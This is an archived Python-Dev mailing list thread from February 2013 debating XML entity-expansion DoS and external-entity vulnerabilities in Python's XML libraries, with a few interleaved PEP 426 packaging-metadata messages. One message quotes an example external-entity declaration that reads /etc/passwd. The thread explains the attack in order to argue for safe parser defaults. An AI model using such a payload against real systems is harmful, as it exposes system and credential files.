	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net> <51254FAB.4020801@canterbury.ac.nz>
Message-ID: <51255646.8080105@oddbird.net>

On 02/20/2013 03:35 PM, Greg Ewing wrote:
> Carl Meyer wrote:
>> An XML parser that follows the XML standard is never safe to expose to
>> untrusted input.
> 
> Does the XML standard really mandate that a conforming parser
> must blindly download any DTD URL given to it from the real
> live internet? Somehow I doubt that.

For a validating parser, the spec does mandate that. It permits
non-validating parsers (browsers are the only example given) to simply
note the existence of an external entity reference and "retrieve it for
display only on demand." [1]

But this isn't particularly relevant; the quoted statement is true even
if you ignore the external reference issues entirely and consider only
entity-expansion DoS. Some level of non-conformance to the spec is
necessary to make parsing of untrusted XML safe.

Carl

[1] http://www.w3.org/TR/xml/#include-if-valid

From christian at python.org  Thu Feb 21 00:07:33 2013
From: christian at python.org (Christian Heimes)
Date: Thu, 21 Feb 2013 00:07:33 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130220224558.B3A2A250BC1@webabinitio.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net> <51254FAB.4020801@canterbury.ac.nz>
	<20130220224558.B3A2A250BC1@webabinitio.net>
Message-ID: <51255735.10908@python.org>

Am 20.02.2013 23:45, schrieb R. David Murray:
> I don't believe it does.  The DTD URL is, if I remember correctly,
> specified as an identifier.  The fact that you can often also download the
> DTD from the location specified by the identifier is a secondary effect.
> 
> But, it's been a *long* time since I looked at XML :)

A DTD may have an identifier and a resource locator (local file or URL).
It depends which kind of DTD is used (internal, external public or
external system), e.g. <!DOCTYPE name PUBLIC "identifier" "url/file">.
For external DTDs a parser may chose to cache a DTD or map DTD
identifier to its own set of DTDs.

As far as I know a parser doesn't have to download a DTD unless it runs
in validation mode. Just xml.sax and xml.dom.pulldom download DTDs, see
https://pypi.python.org/pypi/defusedxml#python-xml-libraries

DTD retrieval is not as severe as external entity expansion. With
external entities like <!ENTITY passwd SYSTEM "file:///etc/passwd"> an
attacker is actually able to download files and circumvent firewalls if
the application returns parts of the XML file back.

Most XML parsers expand entities and lots of them even expand external
entities. Daniel Veillard (libxml2) has explained that entity expansion
is required for XPath() and IIRC for features like XSL, too.

Nowadays most XML parsers and libraries have options to disable certain
features. Python's standard library doesn't have options for some
features or ignores other settings silently.

Everything is documented at https://pypi.python.org/pypi/defusedxml, too.

Christian


From solipsis at pitrou.net  Thu Feb 21 00:08:08 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 00:08:08 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org>
Message-ID: <20130221000808.7a8d2989@pitrou.net>

On Wed, 20 Feb 2013 22:55:57 +0100
Christian Heimes <christian at python.org> wrote:
> Am 20.02.2013 21:17, schrieb Maciej Fijalkowski:
> > On Wed, Feb 20, 2013 at 8:24 PM, Christian Heimes <christian at python.org> wrote:
> >> Am 20.02.2013 17:25, schrieb Benjamin Peterson:
> >>> Are these going to become patches for Python, too?
> >>
> >> I'm working on it. The patches need to be discussed as they break
> >> backward compatibility and AFAIK XML standards, too.
> > 
> > That's not very good. XML parsers are supposed to parse XML according
> > to standards. Is the goal to have them actually do that, or just
> > address DDOS issues?
> 
> But the standard is flawed.

It is not flawed as long as you are operating in a sandbox (read:
controlled environment).

> It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A
> single 1 kB XML document can kill virtually any machine, even servers
> with more than hundred GB RAM.

Assuming an attacker can inject arbitrary XML. Not every XML document
is loaded from the Internet. Not everyone is a security nuts.

Regards

Antoine.



From donald.stufft at gmail.com  Thu Feb 21 00:21:22 2013
From: donald.stufft at gmail.com (Donald Stufft)
Date: Wed, 20 Feb 2013 18:21:22 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221000808.7a8d2989@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
Message-ID: <9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>

On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote:
> > It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A
> > single 1 kB XML document can kill virtually any machine, even servers
> > with more than hundred GB RAM.
> > 
> 
> 
> Assuming an attacker can inject arbitrary XML. Not every XML document
> is loaded from the Internet.
> 
> 

Even documents not loaded from the internet can be at risk. Often times
security breaches are the result of a chain of actions. You can say "I'm
not loading this XML from the internet, so therefore I am safe" but then
you have another flaw (for example) where you unpack a zip file
without verifying there are not absolute paths and suddenly your xml file has
been replaces with a malicious one.
> Not everyone is a security nuts.
> 
> 

This is precisely why things should be safe by default and allow unsafe
actions to be turned on optionally. 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130220/e9bb824a/attachment.html>

From christian at python.org  Thu Feb 21 00:23:52 2013
From: christian at python.org (Christian Heimes)
Date: Thu, 21 Feb 2013 00:23:52 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CAFT4OTGrCjd338fwdUFrErBquhYPoFG2xvnMas2W0_fVUxJ4Pg@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net> <51254FAB.4020801@canterbury.ac.nz>
	<20130220224558.B3A2A250BC1@webabinitio.net>
	<CAFT4OTGrCjd338fwdUFrErBquhYPoFG2xvnMas2W0_fVUxJ4Pg@mail.gmail.com>
Message-ID: <51255B08.7010003@python.org>

Am 20.02.2013 23:56, schrieb Fred Drake:
> While I'd hate to make XML processing more painful than it often is, there's
> no injunction not to be reasonable.  Security concerns and resource limits
> are cross-cutting concerns, so it's not wrong to provide safe defaults.
> 
> Doing so *will* be backward incompatible, and I'm not sure there's a good
> way to gauge the extent of the breakage.

We could walk a different path but that would keep Python's XML
libraries in an insecure mode by default.

My latest patch to expat and pyexpat supports global default values. The
global defaults are used when a new parser is created with
pyexpat.ParserCreate(). It's also possible to disable the new
limitations in expat by default.

We can add a function to the XML package tree that enables all restrictions:

* limit expansion depths of nested entities
* limit total amount of expanded chars
* disable external entity expansion
* optionally force expat to ignore and reset all DTD information

3rd party users have to disable secure settings explicitly for the
current interpreter (although expat limits are process wide and shared
across subinterpreters).

try:
   import xml.security
except ImportError:
   # old Python
   pass
else:
   xml.security.harden_xml_parser()

I guess most programs either process untrusted XML input or large XML
documents that require expansion and DTD validation.

Christian

From christian at python.org  Thu Feb 21 00:30:56 2013
From: christian at python.org (Christian Heimes)
Date: Thu, 21 Feb 2013 00:30:56 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221000808.7a8d2989@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
Message-ID: <51255CB0.8060706@python.org>

Am 21.02.2013 00:08, schrieb Antoine Pitrou:
> Not everyone is a security nuts.

But, but, but ... it's fun to be paranoid! You get so many new potential
enemies. :)

Jerry Fletcher

From solipsis at pitrou.net  Thu Feb 21 00:22:58 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 00:22:58 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
Message-ID: <20130221002258.78a805d6@pitrou.net>

On Wed, 20 Feb 2013 18:21:22 -0500
Donald Stufft <donald.stufft at gmail.com> wrote:
> On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote:
> > > It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A
> > > single 1 kB XML document can kill virtually any machine, even servers
> > > with more than hundred GB RAM.
> > > 
> > 
> > Assuming an attacker can inject arbitrary XML. Not every XML document
> > is loaded from the Internet.
> 
> Even documents not loaded from the internet can be at risk. Often times
> security breaches are the result of a chain of actions. You can say "I'm
> not loading this XML from the internet, so therefore I am safe" but then
> you have another flaw (for example) where you unpack a zip file
> without verifying there are not absolute paths and suddenly your xml file has
> been replaces with a malicious one.

Assuming your ZIP file is coming from the untrusted Internet, indeed.
Again, this is the same assumption that you are grabbing some important
data from someone you can't trust.

Just because you are living in a Web-centric world doesn't mean
everyone does. There are a lot of use cases which are not impacted by
your security rules. Bugfix releases shouldn't break those use cases,
which means the security features should be mostly opt-in for 2.7 and
3.3.

Regards

Antoine.

From pje at telecommunity.com  Thu Feb 21 00:36:21 2013
From: pje at telecommunity.com (PJ Eby)
Date: Wed, 20 Feb 2013 18:36:21 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <5124A5C4.4090202@egenix.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<5124A5C4.4090202@egenix.com>
Message-ID: <CALeMXf6B9NVnP0kNR68Ern8uO5M72=2UyMbpLiXUMKQSXzNrXg@mail.gmail.com>

On Wed, Feb 20, 2013 at 5:30 AM, M.-A. Lemburg <mal at egenix.com> wrote:
> The wording in the PEP alienates the egg format by defining
> an incompatible new standard for the location of the metadata
> file:

This isn't a problem, because there's not really a use case at the
moment for eggs to include a PEP 426-format metadata file, and if they
ever do, it ought to be called METADATA, so that pkg_resources will
know to read it if there are no egg-format dependencies listed.
Setuptools also doesn't care what format PKG-INFO is in, as it only
ever reads the "Version:" field, and that only in the case of
in-development source packages.

> It's easy to upgrade distribute and distutils to write
> metadata 1.2 format, simply by changing the version in the
> PKG-INFO files.

As soon as distutils does it, setuptools will do it, because
setuptools delegates metadata writing to distutils.  So there's no
"alienation" here.

What will need to happen at some point is for pkg_resources to
implement support for PEP 426-style version requirements, which I
haven't tried to fully wrap my head around as yet.  I'm hoping that
there are simple textual substitutions (e.g. regexes) that can be done
to convert them to pkg_resources requirements.  If need be, I'll swipe
whatever's needed from distlib.  ;-)

In the meantime, eggs aren't actually going anywhere, since wheels
aren't actually trying to replace all of their use cases.  And since
the new metadata and binary formats don't actually add much new
functionality over what eggs already do, eggs wouldn't lose much by
not being able to use the same metadata, anyway.  ;-)

From donald.stufft at gmail.com  Thu Feb 21 00:32:51 2013
From: donald.stufft at gmail.com (Donald Stufft)
Date: Wed, 20 Feb 2013 18:32:51 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <51255B08.7010003@python.org>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net> <51254FAB.4020801@canterbury.ac.nz>
	<20130220224558.B3A2A250BC1@webabinitio.net>
	<CAFT4OTGrCjd338fwdUFrErBquhYPoFG2xvnMas2W0_fVUxJ4Pg@mail.gmail.com>
	<51255B08.7010003@python.org>
Message-ID: <A253599515AC4E4E831F809D3D25D994@gmail.com>

On Wednesday, February 20, 2013 at 6:23 PM, Christian Heimes wrote:
> We can add a function to the XML package tree that enables all restrictions:
> 
> * limit expansion depths of nested entities
> * limit total amount of expanded chars
> * disable external entity expansion
> * optionally force expat to ignore and reset all DTD information
> 
> 3rd party users have to disable secure settings explicitly for the
> current interpreter (although expat limits are process wide and shared
> across subinterpreters).
> 
> try:
> import xml.security
> except ImportError:
> # old Python
> pass
> else:
> xml.security.harden_xml_parser()

We've learned nothing from Ruby and their YAML problems. Things need to 
be safe by default and the unsafe things explicitly enabled. Even *smart*
developers do things wrong (e.g. YAML.load instead of YAML.safe_load) and
protecting developers by default should be the path forward.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130220/635e6012/attachment.html>

From jnoller at gmail.com  Thu Feb 21 00:47:53 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Wed, 20 Feb 2013 18:47:53 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221002258.78a805d6@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net>
Message-ID: <B272A506-ED8C-4867-AF7F-E293982D550F@gmail.com>



On Feb 20, 2013, at 6:22 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> On Wed, 20 Feb 2013 18:21:22 -0500
> Donald Stufft <donald.stufft at gmail.com> wrote:
>> On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote:
>>>> It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A
>>>> single 1 kB XML document can kill virtually any machine, even servers
>>>> with more than hundred GB RAM.
>>> 
>>> Assuming an attacker can inject arbitrary XML. Not every XML document
>>> is loaded from the Internet.
>> 
>> Even documents not loaded from the internet can be at risk. Often times
>> security breaches are the result of a chain of actions. You can say "I'm
>> not loading this XML from the internet, so therefore I am safe" but then
>> you have another flaw (for example) where you unpack a zip file
>> without verifying there are not absolute paths and suddenly your xml file has
>> been replaces with a malicious one.
> 
> Assuming your ZIP file is coming from the untrusted Internet, indeed.
> Again, this is the same assumption that you are grabbing some important
> data from someone you can't trust.
> 
> Just because you are living in a Web-centric world doesn't mean
> everyone does. There are a lot of use cases which are not impacted by
> your security rules. Bugfix releases shouldn't break those use cases,
> which means the security features should be mostly opt-in for 2.7 and
> 3.3.
> 
> Regards
> 
> Antoine.

Any type of input is a potential attack vector; this isn't web centric, it's a systemic flaw in the spec that allows any application that's loading XML to be bombed into oblivion. People need to trust that the standard library is reliable and sane-by-default. What we have right now isn't 



> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com

From pje at telecommunity.com  Thu Feb 21 00:48:06 2013
From: pje at telecommunity.com (PJ Eby)
Date: Wed, 20 Feb 2013 18:48:06 -0500
Subject: [Python-Dev] [Distutils] PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CADiSq7cgnrC8Aq81Sry2-YBrMNw7PohofFa=ZG0VUDCTt-2Frg@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CACac1F81E3WBu5Ngg9dhL3zHxeFqS8A7G_b6diOiLLU+wW0g9A@mail.gmail.com>
	<20130219113609.15a421fb@pitrou.net>
	<CADiSq7cgnrC8Aq81Sry2-YBrMNw7PohofFa=ZG0VUDCTt-2Frg@mail.gmail.com>
Message-ID: <CALeMXf5giaNxGybT=Thh15TfKjKeB3RzFY8jv47X4tQjf1FU0w@mail.gmail.com>

On Tue, Feb 19, 2013 at 6:42 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> Nothing in the PEP is particularly original - almost all of it is
> either stolen from other build and packaging systems, or is designed
> to provide a *discoverable* alternative to existing
> setuptools/distribute/pip practices (specifically, the new extension
> mechanism means things like entry points can be defined in the
> standard metadata files without python-dev needing to get involved).

FWIW, I actually think this is a step in the wrong direction relative
to eggs; the ability to add new metadata files is a useful feature for
application frameworks.  For example, the EggTranslations project uses
egg metadata to implement resource localization plugins.  It lets you
have an application with plugins that either contain their own
translations, contain multiple translations for another plugin, a
single language translation for an assortment of plugins, etc.

These kinds of runtime-discovery use cases haven't seen much attention
in the metadata standard discussion.  On one level, that's fine,
because it makes sense that distribution-provided metadata should be
parseable by all tools, and that at build/download/install time the
performance and ease-of-use favor a single file approach.  That does
not mean, however, that the presence of other files is bad or should
be deprecated.  IMO, metadata that see significant runtime use
independent of the core metadata *should* appear in their own files,
even if redundant.

From donald.stufft at gmail.com  Thu Feb 21 00:45:10 2013
From: donald.stufft at gmail.com (Donald Stufft)
Date: Wed, 20 Feb 2013 18:45:10 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221002258.78a805d6@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net>
Message-ID: <61507EB6652B465EB8F1B8D69EEA4002@gmail.com>

On Wednesday, February 20, 2013 at 6:22 PM, Antoine Pitrou wrote:
> On Wed, 20 Feb 2013 18:21:22 -0500
> Donald Stufft <donald.stufft at gmail.com (mailto:donald.stufft at gmail.com)> wrote:
> > On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote:
> > > > It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A
> > > > single 1 kB XML document can kill virtually any machine, even servers
> > > > with more than hundred GB RAM.
> > > > 
> > > 
> > > 
> > > Assuming an attacker can inject arbitrary XML. Not every XML document
> > > is loaded from the Internet.
> > > 
> > 
> > 
> > Even documents not loaded from the internet can be at risk. Often times
> > security breaches are the result of a chain of actions. You can say "I'm
> > not loading this XML from the internet, so therefore I am safe" but then
> > you have another flaw (for example) where you unpack a zip file
> > without verifying there are not absolute paths and suddenly your xml file has
> > been replaces with a malicious one.
> > 
> 
> 
> Assuming your ZIP file is coming from the untrusted Internet, indeed.
> Again, this is the same assumption that you are grabbing some important
> data from someone you can't trust.
> 
> 

No software you run on your computer grabs data from someone you don't trust
and it all validates that even though you trust them they haven't been exploited?

Like I said these sort of things are often caused by chaining several unrelated
things together.
> 
> Just because you are living in a Web-centric world doesn't mean
> everyone does. There are a lot of use cases which are not impacted by
> your security rules. Bugfix releases shouldn't break those use cases,
> which means the security features should be mostly opt-in for 2.7 and
> 3.3.
> 
> Regards
> 
> Antoine.
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org (mailto:Python-Dev at python.org)
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/donald.stufft%40gmail.com
> 
> 


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130220/305c2b65/attachment-0001.html>

From tseaver at palladion.com  Thu Feb 21 00:49:59 2013
From: tseaver at palladion.com (Tres Seaver)
Date: Wed, 20 Feb 2013 18:49:59 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221002258.78a805d6@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net>
Message-ID: <kg3nln$tj0$1@ger.gmane.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 02/20/2013 06:22 PM, Antoine Pitrou wrote:
> On Wed, 20 Feb 2013 18:21:22 -0500 Donald Stufft
> <donald.stufft at gmail.com> wrote:
>> On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote:
>>>> It's not a distributed DoS issue, it's a severe DoS
>>>> vulnerabilities. A single 1 kB XML document can kill virtually
>>>> any machine, even servers with more than hundred GB RAM.
>>>> 
>>> 
>>> Assuming an attacker can inject arbitrary XML. Not every XML
>>> document is loaded from the Internet.
>> 
>> Even documents not loaded from the internet can be at risk. Often
>> times security breaches are the result of a chain of actions. You
>> can say "I'm not loading this XML from the internet, so therefore I
>> am safe" but then you have another flaw (for example) where you
>> unpack a zip file without verifying there are not absolute paths and
>> suddenly your xml file has been replaces with a malicious one.
> 
> Assuming your ZIP file is coming from the untrusted Internet, indeed. 
> Again, this is the same assumption that you are grabbing some
> important data from someone you can't trust.
> 
> Just because you are living in a Web-centric world doesn't mean 
> everyone does. There are a lot of use cases which are not impacted by 
> your security rules. Bugfix releases shouldn't break those use cases, 
> which means the security features should be mostly opt-in for 2.7 and 
> 3.3.

Two words:  "hash randomization".  If it applies to one, it applies to
the other.


Tres.
- -- 
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with undefined - http://www.enigmail.net/

iEYEARECAAYFAlElYScACgkQ+gerLs4ltQ4QgwCfctL8/FmnboJWozyPcSE1xbb2
wwIAoNVc2hoQci9G2M6g/keNNsN5RR0O
=Q9IX
-----END PGP SIGNATURE-----


From ncoghlan at gmail.com  Thu Feb 21 01:31:19 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 21 Feb 2013 10:31:19 +1000
Subject: [Python-Dev] Postponing acceptance of PEP 426
Message-ID: <CADiSq7d5xLm8cpA8Hzc2Hqf6tRCbj6LniuG5ddNvTwAQMNsJ0Q@mail.gmail.com>

The feedback I have received (both on-list and in response to some
off-list queries to specific people) tells me that PEP 426 isn't quite
ready for acceptance yet.

Things I'll be working on or facilitating over the next few weeks:

- documenting an overall transition plan to put the new metadata
format in context
- clear acceptance criteria in PEP 426, primarily a list of specific
projects and individuals that I have requested endorsement from before
I am willing to accept the PEP
- adding entry-points to PEP 426
- some more adjustments to PEP 426 for improved pkg_resources compatibility
- some adjustments to PEP 426 for easier translation to
JSON-compatible structured data
- PEP for a standardised approach to metadata caching in installation databases
- draft PEP for adding distlib to Python 3.4
- draft PEP for automated conversion of PEP 426 metadata files to
JSON-compatible structured data

This postpone does mean the initial wheel rollout in various projects
will be based on metadata 1.2 + the Provides-Extra field (and
associated environment marker change), rather than being cleanly based
on metadata 2.0. I can live with that - that part of the PEP is *not*
open to change, but there are other legitimate concerns that need to
be addressed before I declare the PEP accepted.

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From steve at pearwood.info  Thu Feb 21 01:37:47 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Thu, 21 Feb 2013 11:37:47 +1100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221002258.78a805d6@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net>
Message-ID: <51256C5B.70906@pearwood.info>

On 21/02/13 10:22, Antoine Pitrou wrote:
> On Wed, 20 Feb 2013 18:21:22 -0500
> Donald Stufft<donald.stufft at gmail.com>  wrote:
>> On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote:
>>>> It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A
>>>> single 1 kB XML document can kill virtually any machine, even servers
>>>> with more than hundred GB RAM.
>>>>
>>>
>>> Assuming an attacker can inject arbitrary XML. Not every XML document
>>> is loaded from the Internet.
>>
>> Even documents not loaded from the internet can be at risk. Often times
>> security breaches are the result of a chain of actions. You can say "I'm
>> not loading this XML from the internet, so therefore I am safe" but then
>> you have another flaw (for example) where you unpack a zip file
>> without verifying there are not absolute paths and suddenly your xml file has
>> been replaces with a malicious one.
>
> Assuming your ZIP file is coming from the untrusted Internet, indeed.
> Again, this is the same assumption that you are grabbing some important
> data from someone you can't trust.

It's easy to forget that malware existed long before the Internet. The internet is just a transmission vector, it is not the source of malicious files. The source of malicious files is *other people*, and unless you never use XML files you didn't generate yourself, you cannot completely trust the source. You might trust your colleagues to not *intentionally* pass you a malicious XML file, but they may still do so accidentally.

The risk seems small, these days, but remember that for decades the sole transmission vector for viruses and other malware was *people you trusted* not to deliberately give you a virus.


> Just because you are living in a Web-centric world doesn't mean
> everyone does. There are a lot of use cases which are not impacted by
> your security rules. Bugfix releases shouldn't break those use cases,
> which means the security features should be mostly opt-in for 2.7 and
> 3.3.

I think that is reasonable. Insecure by default or not, code should not suddenly stop working because I've upgraded from 2.7.3 to 2.7.4.



-- 
Steven

From ncoghlan at gmail.com  Thu Feb 21 01:38:07 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 21 Feb 2013 10:38:07 +1000
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <kg3nln$tj0$1@ger.gmane.org>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <kg3nln$tj0$1@ger.gmane.org>
Message-ID: <CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>

On Thu, Feb 21, 2013 at 9:49 AM, Tres Seaver <tseaver at palladion.com> wrote:
> Two words:  "hash randomization".  If it applies to one, it applies to
> the other.

Agreed. Christian's suggested approach sounds sane to me:

